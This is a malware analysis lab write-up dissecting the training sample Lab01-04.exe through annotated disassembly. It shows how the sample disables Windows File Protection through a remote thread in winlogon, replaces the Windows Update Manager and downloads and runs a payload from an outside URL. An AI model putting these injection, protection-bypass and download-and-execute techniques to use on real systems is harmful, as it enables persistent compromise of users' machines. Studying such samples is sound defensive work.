0x05_Lab01-04
Overview
| Filename | Size | MD5 |
|---|---|---|
| Lab01-04.exe | 37 KB | 625ac05fd47adc3c63700c3b30de79ab |
TL;DR: A malware installing a fake Windows Update Manager. It searches for Winlogon PID, disables the Windows File Protection, drops the fake updater on disk, and downloads an aditionnal payload from http://www.practicalmalwareanalysis.com/updater.exe.
Tools: IDA Free 7.0, Resource Hacker
IDB: Lab01-04.i64 Lab01-04_rsrc.i64
Finding Winlogon PID
The main() function starts by using the APIs LoadLibraryA and GetProcAddress to obtain the addresses of EnumProcesses, EnumProcessModules and GetModuleBaseNameA (code not shown).
It calls the API EnumProcesses to retrieve the list of PIDs on the system:
1
2
3
4
5
6
0x00401423 lea eax, [ebp+lpcbNeeded]
0x00401429 push eax
0x0040142A push 1000h ; dw array size
0x0040142F lea ecx, [ebp+dwProcessId]
0x00401435 push ecx ; list of PIDs
0x00401436 call addr_EnumProcesses
Then, it enters a loop that parses this list and calls the function 0x401000 (here renamed IsWinlogonPID()):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x00401485 mov edx, [ebp+i] ; counter
0x0040148B cmp [ebp+edx*4+dwProcessId], 0
0x00401493 jz short next_pid
0x00401495 mov eax, [ebp+i]
0x0040149B mov ecx, [ebp+eax*4+dwProcessId]
0x004014A2 push ecx ; dwProcessId
0x004014A3 call IsWinlogonPID
0x004014A8 add esp, 4 ; adjust stack
0x004014AB mov [ebp+flag_found_winlogon], eax
0x004014B1 cmp [ebp+flag_found_winlogon], 0
0x004014B8 jz short next_pid
0x004014BA mov edx, [ebp+i] ; index in a list of dw
0x004014C0 mov eax, [ebp+edx*4+dwProcessId]
0x004014C7 mov [ebp+winlogon_PID], eax
0x004014CD jmp short exit_loop
The function IsWinlogonPID() retrieves the name of a process given its PID. First, it gets a process handle:
1
2
3
4
5
6
0x0040106D mov edx, [ebp+dwProcessId]
0x00401070 push edx ; dwProcessId
0x00401071 push 0 ; bInheritHandle
0x00401073 push 410h ; PROCESS_QUERY_INFORMATION | PROCESS_VM_READ
0x00401078 call ds:OpenProcess
0x0040107E mov [ebp+hProcess], eax
Then, it uses this handle to call the API EnumProcessModules. This API retrieves a list of handles, one for each module of the specified process. After some digging in my debugger, it appeared these handles were imagebases, and the first entry of the list was the imagebase the specified process.
In the code below, we notice the array receiving the handles is only 4 bytes long:
1
2
3
4
5
6
7
8
0x00401087 lea eax, [ebp+required_size]
0x0040108D push eax ; output
0x0040108E push 4 ; size = 1 dword
0x00401090 lea ecx, [ebp+hModules_array]
0x00401096 push ecx ; ptr hModules
0x00401097 mov edx, [ebp+hProcess]
0x0040109A push edx
0x0040109B call addr_EnumProcessModules
No further adjusments are made (e.g. allocating memory on the heap using the variable requiried_size), thus only one handle is retrieved, and this handle is the imagebase of the specified process.
Finally, the API GetModuleBaseNameA is called and the string returned is compared to the string “winlogon.exe”:
1
2
3
4
5
6
7
8
9
10
11
12
13
0x004010A5 push 104h ; buffer size
0x004010AA lea eax, [ebp+buffer]
0x004010B0 push eax ; output
0x004010B1 mov ecx, [ebp+hModules_array]
0x004010B7 push ecx ; process imagebase
0x004010B8 mov edx, [ebp+hProcess]
0x004010BB push edx
0x004010BC call addr_GetModuleBaseNameA
0x004010C2 lea eax, [ebp+strWinlogonExe]
0x004010C5 push eax ; Str2
0x004010C6 lea ecx, [ebp+buffer]
0x004010CC push ecx ; Str1
0x004010CD call ds:_stricmp
If the strings don’t match the function IsWinlogonPID() returns false and the next PID is tested, but if they match the value true is returned.
Bypassing Windows File Protection
Once the PID of winlogon is found, the function 0x401174 (here renammed RemoteCallSfcTerminateWatcherThread()) is called:
1
2
3
0x004014E4 mov ecx, [ebp+winlogon_PID]
0x004014EA push ecx ; dwProcessId
0x004014EB call RemoteCallSfcTerminateWatcherThread
This function disables the Windows File Protection.
What is WFP?
The Windows File Protection (WFP) is a feature introduced in Windows 2000 to prevent the replacement of system files, whether accidental or malicious. Besides Windows 2000, the WFP is present on XP and Server 2003. The successor of the WFP is the Windows Resource Protection (WRP) and became available starting with Vista and Server 2008.
The WFP relies on two mechanisms:
- The first mechanism is the sfc.exe tool which can be executed from an elevated shell: it checks protected files and restores missing/non-legitimately modified ones.
- The second mechanism is a backgound protection relying on Winlogon and the DLLs sfc.dll, sfc_os.dll, and sfcfiles.dll: a watcher thread waits for directory change notifications, and if a protected file is replaced by a non-legitimate one, it is restored.
According to Microsoft, the legitimate ways to replace protected files are:
- Windows Service Pack installation using Update.exe;
- Hotfixes installed using Hotfix.exe or Update.exe;
- Operating system upgrades using Winnt32.exe;
- Windows Update.
The XP era brings nostalgia, so I quickly grepped inside those good old 29A archives and found GriYo’s Win2K infection (uses API SfcIsFileProtected to avoid protected files), Benny and Ratter’s Win2k.SFPDisable (hotpatching sfc.dll), and Ratters’s SFP revisited (use the undocumented APIs SfcTerminateWatcherThread and SfcFileException).
Note that WFP bypasses have been extensively studied and this section is not exhaustive.
Calling SfcTerminateWatcherThread
The bypass implemented in the malware is similar to the code published in 29A vol.7.
First the SeDebugPrivilege has to be enabled. It is the purpose of function 0x4010FC (renammed AdjustPrivileges()), and it can be split in 3 parts:
1. Opening the access token of the current process:
1
2
3
4
5
6
0x00401102 lea eax, [ebp+TokenHandle]
0x00401105 push eax ; output (TokenHandle)
0x00401106 push 28h ; TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
0x00401108 call ds:GetCurrentProcess
0x0040110E push eax ; ProcessHandle
0x0040110F call ds:OpenProcessToken
2. Retrieving the LUID of the requested privilege:
1
2
3
4
5
6
7
8
0x00401120 mov [ebp+NewState.PrivilegeCount], 1
0x00401127 mov [ebp+NewState.Privileges.Attributes], 2
0x0040112E lea ecx, [ebp+NewState.Privileges]
0x00401131 push ecx ; lpLuid
0x00401132 mov edx, [ebp+privilege_name]
0x00401135 push edx ; ->"SeDebugPrivilege"
0x00401136 push 0 ; lpSystemName
0x00401138 call ds:LookupPrivilegeValueA
3. Adjusting the privilege:
1
2
3
4
5
6
7
8
9
0x00401153 push 0 ; ReturnLength
0x00401155 push 0 ; PreviousState
0x00401157 push 0 ; BufferLength
0x00401159 lea ecx, [ebp+NewState]
0x0040115C push ecx ; NewState
0x0040115D push 0 ; DisableAllPrivileges
0x0040115F mov edx, [ebp+TokenHandle]
0x00401162 push edx ; TokenHandle
0x00401163 call ds:AdjustTokenPrivileges
Next, the address of export n°2 of sfc_os.dll (SfcTerminateWatcherThread) is retrieved:
1
2
3
4
5
6
0x004011A1 push 2 ; lpProcName
0x004011A3 push offset LibFileName ; "sfc_os.dll"
0x004011A8 call ds:LoadLibraryA
0x004011AE push eax ; hModule
0x004011AF call ds:GetProcAddress
0x004011B5 mov addr_SfcTerminateWatcherThread, eax
Finally, the API SfcTerminateWatcherThread is called from within the context of Winlogon thanks to the API CreateRemoteThread:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x004011BA mov eax, [ebp+dwProcessId]
0x004011BD push eax ; winlogon PID
0x004011BE push 0 ; bInheritHandle
0x004011C0 push PROCESS_ALL_ACCESS ; dwDesiredAccess
0x004011C5 call ds:OpenProcess
0x004011CB mov [ebp+hProcess], eax
[...]
0x004011D8 push 0 ; lpThreadId
0x004011DA push 0 ; dwCreationFlags
0x004011DC push 0 ; lpParameter
0x004011DE mov ecx, addr_SfcTerminateWatcherThread
0x004011E4 push ecx ; lpStartAddress
0x004011E5 push 0 ; dwStackSize
0x004011E7 push 0 ; lpThreadAttributes
0x004011E9 mov edx, [ebp+hProcess]
0x004011EC push edx ; hProcess
0x004011ED call ds:CreateRemoteThread
Dropping a fake Windows Update Manager
The original update manager is moved to the path %TEMP%\winup.exe and the function 0x4011FC (renamed DropFakeWindowsUpdateManager()) is called:
1
2
3
4
5
6
0x00401576 lea edx, [ebp+path_to_temp_winup]
0x0040157C push edx ; New: %TEMP%\winup.exe
0x0040157D lea eax, [ebp+path_to_sys32_wupdmgr]
0x00401583 push eax ; Existing: C:\Windows\system32\wupdmgr.exe
0x00401584 call ds:MoveFileA
0x0040158A call DropFakeWindowsUpdateManager
The function DropFakeWindowsUpdateManager() retrieves the resource named “#101” and loads it into memory (this resource can be dumped with the resource editor of your choice; my preference goes to Resource Hacker):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x004012AA push offset Type ; "BIN"
0x004012AF push offset Name ; "#101"
0x004012B4 mov eax, [ebp+hModule] ; malware
0x004012B7 push eax ; hModule
0x004012B8 call ds:FindResourceA
0x004012BE mov [ebp+hResInfo], eax
0x004012C4 mov ecx, [ebp+hResInfo]
0x004012CA push ecx ; hResInfo
0x004012CB mov edx, [ebp+hModule]
0x004012CE push edx ; hModule
0x004012CF call ds:LoadResource
0x004012D5 mov [ebp+lpBuffer], eax
0x004012D8 mov eax, [ebp+hResInfo]
0x004012DE push eax ; hResInfo
0x004012DF mov ecx, [ebp+hModule]
0x004012E2 push ecx ; hModule
0x004012E3 call ds:SizeofResource
0x004012E9 mov [ebp+nNumberOfBytesToWrite], eax
Then, a new file is created to C:\Windows\system32\wupdmgr.exe (former path of the original Windows Update Manager):
1
2
3
4
5
6
7
8
9
10
0x004012EF push 0 ; hTemplateFile
0x004012F1 push 0 ; dwFlagsAndAttributes
0x004012F3 push CREATE_ALWAYS ; dwCreationDisposition
0x004012F5 push 0 ; lpSecurityAttributes
0x004012F7 push FILE_SHARE_READ ; dwShareMode
0x004012F9 push GENERIC_WRITE ; dwDesiredAccess
0x004012FE lea edx, [ebp+fake_wupdmgr_path]
0x00401304 push edx ; C:\Windows\system32\wupdmgr.exe
0x00401305 call ds:CreateFileA ; create new empty file
0x0040130B mov [ebp+hFile], eax
Finally, the content of the resource is written to this new file, and it is executed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x00401311 push 0 ; lpOverlapped
0x00401313 lea eax, [ebp+NumberOfBytesWritten]
0x00401316 push eax ; lpNumberOfBytesWritten
0x00401317 mov ecx, [ebp+nNumberOfBytesToWrite]
0x0040131D push ecx ; size of resource
0x0040131E mov edx, [ebp+lpBuffer]
0x00401321 push edx ; resource data
0x00401322 mov eax, [ebp+hFile]
0x00401328 push eax ; hFile (empty wupdmgr.exe)
0x00401329 call ds:WriteFile
[...]
0x0040133C push 0 ; uCmdShow
0x0040133E lea edx, [ebp+fake_wupdmgr_path]
0x00401344 push edx ; lpCmdLine
0x00401345 call ds:WinExec ; C:\Windows\system32\wupdmgr.exe
The fake Windows Update Manager
The fake updater starts by executing the real one (from the /tmp directory):
1
2
3
4
0x004010A8 push 5 ; uCmdShow
0x004010AA lea eax, [ebp+path_to_temp_winup] ; original update manager
0x004010B0 push eax ; lpCmdLine: %TEMP%\winup.exe
0x004010B1 call ds:WinExec
Then, it downloads a new binary from the URL http://www.practicalmalwareanalysis.com/updater.exe and saves it to the path C:\Windows\system32\wupdmgrd.exe:
1
2
3
4
5
6
7
0x004010EF push 0 ; LPBINDSTATUSCALLBACK
0x004010F1 push 0 ; DWORD
0x004010F3 lea ecx, [ebp+path_to_sys32_wupdmgrd]
0x004010F9 push ecx ; C:\Windows\system32\wupdmgrd.exe
0x004010FA push offset URL ; "http://www.practical"...
0x004010FF push 0 ; LPUNKNOWN
0x00401101 call URLDownloadToFileA
And finally the downloaded payload is executed:
1
2
3
0x00401117 lea edx, [ebp+path_to_sys32_wupdmgrd]
0x0040111D push edx ; lpCmdLine
0x0040111E call ds:WinExec ; execute downloaded payload
I tried to wget the URL but it returned a 404 :(
EOF